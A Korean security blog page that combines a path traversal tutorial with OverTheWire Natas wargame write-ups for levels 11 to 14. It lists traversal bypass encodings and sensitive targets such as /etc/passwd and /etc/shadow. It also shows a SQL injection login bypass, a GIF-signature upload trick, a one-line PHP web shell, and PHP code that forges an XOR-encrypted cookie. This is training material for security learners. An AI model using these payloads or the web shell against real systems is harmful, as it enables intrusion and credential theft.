What Is❔

 

Path Traversal 취약점은 "디렉터리 조작" 으로도 알려져 있으며 파일 다운로드 취약점과 유사한 부분이 많다.

 

사용자로부터 경로(path) 형태의 입력값을 받아 서버의 파일에 접근할 수 있는 공격 기법이다.

 

즉, 경로 조작을 통해 서버 내에 존재하는 파일의 내용을 확인할 수 있게 된다.

 

 

How To❓

 

웹 서비스의 파라미터나 헤더에서 사용자 입력값을 처리하는 부분에 해당 취약점이 발현될 가능성이 존재한다.

 

파일 다운로드 취약점을 진단하는 것처럼 특수문자(../ 등)의 필터링 유무를 먼저 파악하는 것이 중요하다.

> Portswigger의 File Path traversal, simple case 문제로 설명을 진행하자면, 

 

아래의 테스트 페이지에서 임의의 게시글을 클릭한다.

테스트 페이지

 

이미지를 불러올 때 filename 파라미터를 통해서 이미지를 가져온다.

게시글 클릭 시 reqeuset 값

 

사용자로부터 경로 입력값을 받는지 확인해보기 위해 아래와 같은 요청을 보내면

  GET /image?filename=1.png   →   200 OK
  GET /image?filename=./1.png   →   200 OK

  또는
  
  GET /path=/upload/abc/123&filename=1.pdf    →   200 OK
  GET /path=/upload/abc/123/../123&filename=1.pdf    →   200 OK

 

두개의 요청값 모두 200 ok 응답을 확인할 수 있다.

 

위의 결과로 알 수 있는 것은

 

./ 특수문자가 서버 단에서 필터링되어 있거나 현재 디렉터리를 나타내는 ./가 실제 경로로 처리가 된 경우이다.

 

실제 경로로 처리가 된 경우 ../를 사용하여 서버의 파일에 접근을 시도할 수 있다. 

 

/image?filename=../../../../../../etc/passwd  을 입력하면 response 에서 /etc/passwd 파일에 접근이 가능하게 된다. 

 

Good to Know👍

1. 특수문자 Bypass

 

[Linux]

../           
%2e%2e%2f                        #url encoding
%252e%252e%252f            #double url encoding
%u002E%u002E%u002F    #16bit unicode encoding
....//
..././


[Windows]

..\          
%2e%2e%5c                       #url encoding
%252e%252e%255c           #double url encoding
%u002E%u002E%u005c    #16bit unicode encoding
....\\
...\.\

 

 

2. OS 별 주요 경로

 

[ Linux ]

/etc/passwd

../../../../etc/passwd%0a.png (개행문자 삽입 %0a, %0d)

/etc/issue  (로그인 전 배너 설정 파일_로컬에서)

/etc/issue.net (로그인 전 배너 설정 파일_telnet)

/etc/motd  (로그인 성공 메시지 설정 파일 ssh, telnet)

/etc/shadow

/etc/group

/etc/hosts (도메인 주소와 ip 주소가 존재하는 파일)

/var/log/wtmp  (성공한 로그인/로그아웃 정보 파일)

/var/log/btmp

/var/log/lastlog

/etc/my.cnf  (mysql 설정 파일)

/etc/mysql/my.cnf

/usr/local/mysql/etc/my.cnf

 

[ Windows ]

winnt/win.ini

boot.ini

C:\Windows\my.ini  (mysql 설정 파일)

C:\Windows\my.cnf

C:\my.ini

C:\my.cnf

 

Level 14번 문제이다.

 

 

USERNAME과 PW를 입력받는 폼이 존재한다. 

 

 

소스 코드를 확인해보면, username과 password 입력 시 아래의 쿼리를 통해 패스워드가 출력된다.

💡그렇다면 해당 쿼리를 우회하면 패스워드를 획득할 수 있다. 인증을 우회하는 SQL Injection 문제이다.

 

 

쿼리에서 따옴표(")로 username의 입력값을 받고 있으므로 " or 1=1-- 로 우회를 시도한다. 

 

 

다음 레벨의 패스워드를 획득할 수 있다. 👏

 

'Penetration Testing > Natas' 카테고리의 다른 글

[Natas] Level13 write-up  (0) 2023.10.24
[Natas] Level12 write-up  (0) 2023.09.14
[Natas] Level11 write-up  (0) 2023.09.12
[Natas] Level10 write-up  (0) 2023.09.11
[Natas] Level9 write-up  (0) 2023.09.11

natas 13번 문제이다.

 

 

12번 문제와 같이 파일 업로드 취약점이 존재하는 페이지로 보인다.

 

 

소스 코드를 확인해보면, 이미지 파일인지 확인하는 코드에 exif_imagetype() 함수를 사용하고 있다.

 

 

exif_imagetype() 함수는 파일의 시그니처를 통해 어떤 파일인지 확인한다. 

그렇다면 이 문제에서 이미지 파일인지 확인하는 방법은 파일의 시그니처를 보고 이미지 파일로 인식한다.

💡 php 코드 작성하고 맨 앞에 이미지 파일 시그니처만 넣어주면 해당 로직 우회가 가능해 업로드가 가능할 것이다!

https://www.php.net/manual/en/function.exif-imagetype

 

PHP: exif_imagetype - Manual

to checking file is image, I used this:function is_image($path){ $a = getimagesize($path); $image_type = $a[2]; if(in_array($image_type , array(IMAGETYPE_GIF , IMAGETYPE_JPEG ,IMAGETYPE_PNG , IMAGETYPE_BMP))) { return true; } return false;}

www.php.net

 

 


파일 시그니처(File Signature)

 

 

직접 파일 시그니처 hex 값을 넣어줘도 되지만

찾아보니 GIF 파일의 경우 문자열을 맨 앞에 넣어줘도 가능하므로 "GIF87a" 넣어주고 php 코드를 작성한다.

 

 

test.txt 파일 업로드를 시도한다. 

 

 

업로드는 완료했지만, jpg 파일로 업로드가 된다. 

 

 

파일 업로드 시, 요청 패킷에서 filename 의 파일 확장자를 php로 업로드 하면된다!

 

 

php 파일로 업로드가 완료되어 해당 경로로 접근 시 다음 레벨의 패스워드를 획득할 수 있다.👏

 

'Penetration Testing > Natas' 카테고리의 다른 글

[Natas] Level14 write-up  (0) 2023.10.24
[Natas] Level12 write-up  (0) 2023.09.14
[Natas] Level11 write-up  (0) 2023.09.12
[Natas] Level10 write-up  (0) 2023.09.11
[Natas] Level9 write-up  (0) 2023.09.11

Level 12 문제이다.

 

 

로그인 후, 문제를 확인해보면 파일을 업로드할 수 있는 페이지가 존재한다.

뭔가 파일 업로드 취약점일 것만 같은 기분..

 

 

임의의 jpg 파일을 업로드 시도하면, 파일 업로드 시 에러가 발생했다는 문구가 뜨게 된다. 

 

 

바로 php 파일 업로드를 시도해보자.

아래의 한줄 웹쉘을 이용하여 "test.php" 파일을 업로드 한다. 

<?php
	echo shell_exec($_GET['cmd']);
?>

 

 

업로드가 성공적으로 완료되었으며, 파일 경로 또한 알게 된다.

그렇지만 jpg 파일로 업로드가 되어 cmd 명령어를 입력할 수 없게 된다. 

 

 

php 업로드 시 요청 값을 Burp Suite로 확인해보면 실제 업로드 되는 filename 이 .jpg 로 설정된 것이 확인된다.

 

 

파일 확장자를 .php로 변경해준 후 업로드를 진행한다.

 

 

php 파일 확장자 업로드를 성공했다. 

 

 

해당 경로로 접근 후 , cmd 파라미터를 이용해 다음 레벨의 패스워드를 획득할 수 있다. 👏

 

 

'Penetration Testing > Natas' 카테고리의 다른 글

[Natas] Level14 write-up  (0) 2023.10.24
[Natas] Level13 write-up  (0) 2023.10.24
[Natas] Level11 write-up  (0) 2023.09.12
[Natas] Level10 write-up  (0) 2023.09.11
[Natas] Level9 write-up  (0) 2023.09.11

Level 11 문제이다.

 

 

로그인 후, 페이지의 배경색을 설정할 수 있는 form이 존재하는 문제이다. 

 

 

소스 코드를 보면... 무슨 말인지 모르겠지만 하나씩 살펴보도록 하자.

 

<body> 부분에서 "showpassword" 가 "yes"일 경우 다음 레벨의 패스워드를 획득할 수 있다. 

즉 data인 쿠키 값을 변조하여 패스워드를 획득하는 문제인 것 같다.

 

그렇다면, 쿠키 값이 어떻게 생성되었는지 확인해보고 💡거꾸로 실행하여 "showpassword"를 yes로 변경해 새로운 쿠키값을 생성해서 넣어준다면? 답이 해결될 것으로 보인다!!

 

 

① 쿠키값을 생성한 과정 확인

- saveData() 함수에서 json_encode > xor_encrypt > base64_encode 순으로 생성하고 있다. 

 

그렇다면, 반대로 base64_decode > xor_encrypt > json_decode 순으로 진행해주면 된다. 

 

② 키 값을 구하기

- xor_encrypt() 함수에서 key 값을 이용해 xor 연산으로 도출된 결과값을 전달한다.

  예로) A xor B = C 인 경우,  A xor C = B 가 된다.

디코딩 된 쿠키값(A) Key 값(B) 인코딩 된 쿠키값(C)
base64_decode key json_encode

  이 공식으로 디코딩 된 쿠키값(A) xor Key 값(B) = 인코딩 된 쿠키값(C) 

                      >> 디코딩 된 쿠키값(A) xor 인코딩 된 쿠키 값(C) = Key값(B) 이므로 Key값을 구할 수 있게 된다.

 

- xor_encrypt() 함수를 활용하여 코드를 작성하자.

1  <?php
2   function xor_encrypt() {
3     $defaultdata = json_encode(array("showpassword"=>"no", "bgcolor"=>"#ffffff"));
4     $key = '';
5     $text = base64_decode('MGw7JCQ5OC04PT8jOSpqdmkgJ25nbCorKCEkIzlscm5oKC4qLSgubjY=');
6     $outText = $defaultdata;
7
8     for($i=0;$i<strlen($text);$i++) {
9     $key .= $outText[$i] ^ $text[$i % strlen($text)];
10    }
11
12    return $key;
13  }
14
15  echo xor_encrypt();
16  ?>

 

4 > 구해야할 key 값

5 > 현재 쿠키값을 base64로 decoding

6 > json_encode() 값

9 > Key 값 = json_endoe() 값  xor  base64_decode()

 

- key 값인 KNHL을 구할 수 있다.

 

 

③ "showpassword" 가 "yes" 일 때의 쿠키값을 구하기

1  <?php
2  function xor_encrypt() {
3     $defaultdata = array("showpassword"=>"yes", "bgcolor"=>"#ffffff");
4     $key = 'KNHL';
5     $text = json_encode($defaultdata);
6     $outText = '';

7     for($i=0;$i<strlen($text);$i++) {
8     $outText .= $text[$i] ^ $key[$i % strlen($key)];
9     }
10
11    return base64_encode($outText);
12  }
13
14  echo xor_encrypt();
15  ?>

3 > "yes" 로 값 변경

4 > key 값 작성

6 > "yes" 일 때의 쿠키값이 반환될 변수

11 > base64 인코딩 되어 나온 값

 

- "yes" 일 경우의 쿠키 값을 확인할 수 있다. 

 

 

Burp 에서 홈에서의 Set color 버튼 클릭 시의 요청값을 잡고 쿠키의 data 값을 위의 결과로 변경해준다. 

 

 

다음 레벨의 패스워드를 획득할 수 있다. 👏

 

 

'Penetration Testing > Natas' 카테고리의 다른 글

[Natas] Level13 write-up  (0) 2023.10.24
[Natas] Level12 write-up  (0) 2023.09.14
[Natas] Level10 write-up  (0) 2023.09.11
[Natas] Level9 write-up  (0) 2023.09.11
[Natas] Level8 write-up  (0) 2023.09.11

+ Recent posts